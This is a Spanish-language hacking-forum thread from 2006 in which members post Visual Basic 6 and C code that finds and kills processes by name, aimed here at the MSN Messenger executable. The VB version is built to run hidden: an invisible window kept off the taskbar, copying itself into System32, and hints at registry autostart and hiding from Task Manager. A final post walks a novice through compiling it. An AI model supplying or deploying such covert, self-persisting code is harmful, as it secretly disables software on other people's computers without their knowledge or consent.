Título: Buscar proceso y matarlo Publicado por: <--v1c1ous--> en 3 Octubre 2006, 07:59 am Buscar proceso y Matarlo:
Primero las funciones para buscar un proceso cada X milisegundos y si existe obtener el PID y Matarlo Citar Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Const PROCESS_TERMINATE As Long = &H1 Private Processes(150) As Long Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szexeFile As String * 260 End Type Dim ProcesoXPID As String 'Busca una cadena (Nombre del ejecutable) para saber si esta en ejecucion. Function BuscarProcesoX(ProcesoX As String) As String Dim uProcess As PROCESSENTRY32 Dim rProcessFound As Long Dim hSnapshot As Long Dim szProcesoX As String Dim myProcess As Long Dim i As Integer On Error Resume Next Const TH32CS_SNAPPROCESS As Long = 2& BuscarProcesoX = False uProcess.dwSize = Len(uProcess) hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&) rProcessFound = ProcessFirst(hSnapshot, uProcess) Do While rProcessFound i = InStr(1, uProcess.szexeFile, Chr(0)) szProcesoX = LCase$(Left$(uProcess.szexeFile, i - 1)) If Right$(szProcesoX, Len(ProcesoX)) = LCase$(ProcesoX) Then BuscarProcesoX = True Call CloseHandle(myProcess) ProcesoXPID = uProcess.th32ProcessID End If rProcessFound = ProcessNext(hSnapshot, uProcess) Loop Call CloseHandle(hSnapshot) End Function 'Mata el proceso pasandole el PID Function TerminarProcesoX(ProcesoX As String) Dim ProcHandle As Long ProcHandle = OpenProcess(PROCESS_TERMINATE, False, CLng(ProcesoX)) TerminateProcess ProcHandle, 0 CloseHandle ProcHandle End Function 'Busca el proceso, si existe, lo mata Private Sub Timer1_Timer() If BuscarProcesoX("msnmsgr.exe") = True Then TerminarProcesoX ProcesoXPID End If End Sub Dejar no visible nuestra aplicacion Que el usuario no pueda verla Citar Appearance = 0-Flat Caption = "" ClipControls = False ControlBox = False Enabled = False Hight = 1 MaxButton = False MinButton = False Moveable = False NavigateMenus = False ShowInTaskBar = False Visible = False Width = 1 Top = -9999 Left = -9999 Cipiarce en System32, registro, ocultarce del TaskManager y hacer proceso "inmortal" Como no voy a hacer apologia a la programacion de virus no voy a mostrar ningun tipo de codigo en el foro publico sobre estas funciones. Copiarce en sustem32 es tan facil como: Citar If app.path <> Get_System32Dir then Copy app.path & "\MyName.exe", Get_System32Dir & "\MyName.exe" Shell Get_System32Dir & "\MyName.exe" Unload Me End if Function Get_System32Dir() 'A tu imaginacion End Function Cipiarce en el registro: Alguna vez he dejado alguna funcion por ahi que sensillamente al ejecutarce y terminar llama a la funcion asignandole el valor de la cadena del registro, usando modulo, no Objetos. Para ocultarce del TaskManager: Deje un modulo por el foro hace poco Para hacer proceso "inmortal": Usen su imaginacion :) *Ninguna funcion de infeccion, ni hook,ni packer ni nada parecido, es inecesario. Título: Re: Buscar proceso y matarlo Publicado por: NaNih en 3 Octubre 2006, 12:25 pm #include <windows.h> #include <winuser.h> #include <tlhelp32.h> #include <stdio.h> void WalkHeapList(HANDLE, DWORD); void main(int argc , char* argv[]) { DWORD Process_TID; HANDLE ProcessHandle; DWORD Reserved; PROCESSENTRY32 proc; HANDLE snapshot; char process_name[32]=""; int gotime=0; proc.dwSize = sizeof(proc); snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); Process32First(snapshot, &proc); if(argc==2){ if(strlen(argv[1])+1 > sizeof(process_name)){ printf("No se encuentra como nombre de ningun proceso la cadena de caracteres"); exit(1); } else { strcpy(process_name,argv[1]); printf("\nBuscando a %s",argv[1]); } } do { // Buscar nombre de proceso if(strcmp(proc.szExeFile,process_name)==0) { if(argc==2) { printf("\nMatando a %s:%d",proc.szExeFile,proc.th32ProcessID); Process_TID = proc.th32ProcessID; gotime++; } } else { if(argc==1) { printf("\n%s:%d",proc.szExeFile,proc.th32ProcessID); WalkHeapList(snapshot, proc.th32ProcessID); } } }while (Process32Next(snapshot, &proc)); CloseHandle(snapshot); // Obtener handle y matar if(gotime>0) { ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_TERMINATE, FALSE, Process_TID); TerminateProcess(ProcessHandle, (DWORD)0); } } void WalkHeapList(HANDLE snapshot, DWORD PID) { HEAPLIST32 heap; HEAPENTRY32 block; unsigned long heapsize; unsigned long freesize; heap.dwSize = sizeof(heap); block.dwSize = sizeof(block); Heap32ListFirst(snapshot, &heap); do { heapsize = 0; freesize = 0; if (Heap32First(&block, PID, heap.th32HeapID)) { do { heapsize += block.dwBlockSize; if (block.dwFlags & LF32_FREE) freesize += block.dwBlockSize; } while (Heap32Next(&block)); } } while (Heap32ListNext(snapshot, &heap)); } En línea que tengo q hacer con esto ?? donde lo guardo ?? o como lo creo :( vale aclarar q soy newe en esto .. p/d: hackriano@hotmail.com aqui te dejo mi mail si me quieres ayudar .. p/d 2 : no se burlen de lo lammer q es mi mail jaja :-[ Título: Re: Buscar proceso y matarlo Publicado por: Meg en 3 Octubre 2006, 12:39 pm Nanih Pa k pones codigo de C en el foro de VB??? :o
Título: Re: Buscar proceso y matarlo Publicado por: NaNih en 3 Octubre 2006, 12:41 pm Nanih Pa k pones codigo de C en el foro de VB??? :o nose lo q es hotmail pop3 me dio este codigo y me dijo q viniera para aqui entonces cerre los otros temas y me vine aqui con mi codigo ..Título: Re: Buscar proceso y matarlo Publicado por: <--v1c1ous--> en 3 Octubre 2006, 13:01 pm Yo nunca te dije tal cosa, te dije que en el subforo de VB te iba a postear el codigo para VB.
El primer post que ves aca es el codigo en Visual Basic que pediste. Y el que posteaste vos que sacaste del otro subforo es C++. Lee sobre VisualBasic o C++, tenes toda la informacion en los primeros post de cada SubForo. Son dos lenguajes de programacion distintos. Ya se porque me pasa esto :) Título: Re: Buscar proceso y matarlo Publicado por: NEO+ en 3 Octubre 2006, 13:36 pm Nanih.
Primero aprende a programar y luego pregunta detalles concretos que no entiendas. No esperes que la gente te haga un programa completo porque las cosas no funcionan así. Tienes suerte de que hotmail_pop3 te ha ayudado demasiado, incluso, y te ha dado el programa hecho. Si de mi dependiera cerraría este post; no por el hecho de que se comente un programa para matar procesos, sino porque estas preguntando o pidiendo algo sin tener ni idea ni informarte antes; y eso es de lamer. Un consejo: APRENDE A PROGRAMAR Y DESPUÉS PREGUNTA, Y NO INTENTES CONTROLAR LAS COSAS QUE NO SE DEBEN CONTROLAR .... Salu2 Título: Re: Buscar proceso y matarlo Publicado por: ~~ en 4 Octubre 2006, 18:20 pm Gracias por la aportacion hotmail_pop3 ;)
1S4ludo Título: Re: Buscar proceso y matarlo Publicado por: NaNih en 4 Octubre 2006, 19:18 pm Nanih. Primero aprende a programar y luego pregunta detalles concretos que no entiendas. No esperes que la gente te haga un programa completo porque las cosas no funcionan así. Tienes suerte de que hotmail_pop3 te ha ayudado demasiado, incluso, y te ha dado el programa hecho. Si de mi dependiera cerraría este post; no por el hecho de que se comente un programa para matar procesos, sino porque estas preguntando o pidiendo algo sin tener ni idea ni informarte antes; y eso es de lamer. Un consejo: APRENDE A PROGRAMAR Y DESPUÉS PREGUNTA, Y NO INTENTES CONTROLAR LAS COSAS QUE NO SE DEBEN CONTROLAR .... Salu2 Perdon NEO y perdon Hotmail_pop3 .. pasa q habia pedido para descargar o q me pasen un programa q haga tal cosa .. y como el dijo q me lo hacia entendi q me iva a dar un exe pero ahora estoy mas informado y me entere q es un codigo .. Título: Re: Buscar proceso y matarlo Publicado por: <--v1c1ous--> en 4 Octubre 2006, 19:27 pm - Descarga el Visual Basic 6.0
- Crea un nuevo proyecto Standard EXE - Agrega un control Timer al proyecto - Copia el codigo dentro del Form1 - En propiedades del Timer ponele Interval = 1 - Ponele las propiedades al Form1 que puse - Compilalo (File>Make Project1.exe) Ejecutalo y no vas a poder abrir mas el MSN hasta que cerres el programa. --------------------------- Descargar Visual Basic / Descargas Descargar Visual Basic http://foro.elhacker.net/index.php/topic,58439.0.html En KaZaA no encuentro el visual basic 6, ¿dónde lo puedo descargar?? http://foro.elhacker.net/index.php/topic,10588.0.html ¿De donde puedo bajar el visual basic 6.0? http://foro.elhacker.net/index.php/topic,10450 ¿Donde bajar Visual Basic .NET? http://foro.elhacker.net/index.php/topic,53533 ¿Cuál es el mejor compilador para VB además de el que incluye por defecto el del entorno? http://foro.elhacker.net/index.php/topic,76284.0.html Visual Basic 6 Runtime Files http://visual-basic-6-runtime-files.uptodown.com/ Visual Basic Runtime Files http://www.programas.us/bajar/339 Descargar archivos DirectX para Visual http://foro.elhacker.net/index.php/topic,69509.0.html Título: Re: Buscar proceso y matarlo Publicado por: NaNih en 5 Octubre 2006, 02:35 am - Descarga el Visual Basic 6.0 - Crea un nuevo proyecto Standard EXE - Agrega un control Timer al proyecto - Copia el codigo dentro del Form1 - En propiedades del Timer ponele Interval = 1 - Ponele las propiedades al Form1 que puse - Compilalo (File>Make Project1.exe) Ejecutalo y no vas a poder abrir mas el MSN hasta que cerres el programa. --------------------------- Descargar Visual Basic / Descargas Descargar Visual Basic http://foro.elhacker.net/index.php/topic,58439.0.html En KaZaA no encuentro el visual basic 6, ¿dónde lo puedo descargar?? http://foro.elhacker.net/index.php/topic,10588.0.html ¿De donde puedo bajar el visual basic 6.0? http://foro.elhacker.net/index.php/topic,10450 ¿Donde bajar Visual Basic .NET? http://foro.elhacker.net/index.php/topic,53533 ¿Cuál es el mejor compilador para VB además de el que incluye por defecto el del entorno? http://foro.elhacker.net/index.php/topic,76284.0.html Visual Basic 6 Runtime Files http://visual-basic-6-runtime-files.uptodown.com/ Visual Basic Runtime Files http://www.programas.us/bajar/339 Descargar archivos DirectX para Visual http://foro.elhacker.net/index.php/topic,69509.0.html Muchas gracias amigo , gracias por evacuar mis problemas ! p/d : Felicitacion a los chicos del foro .. son muy muy pero muy atentos ! |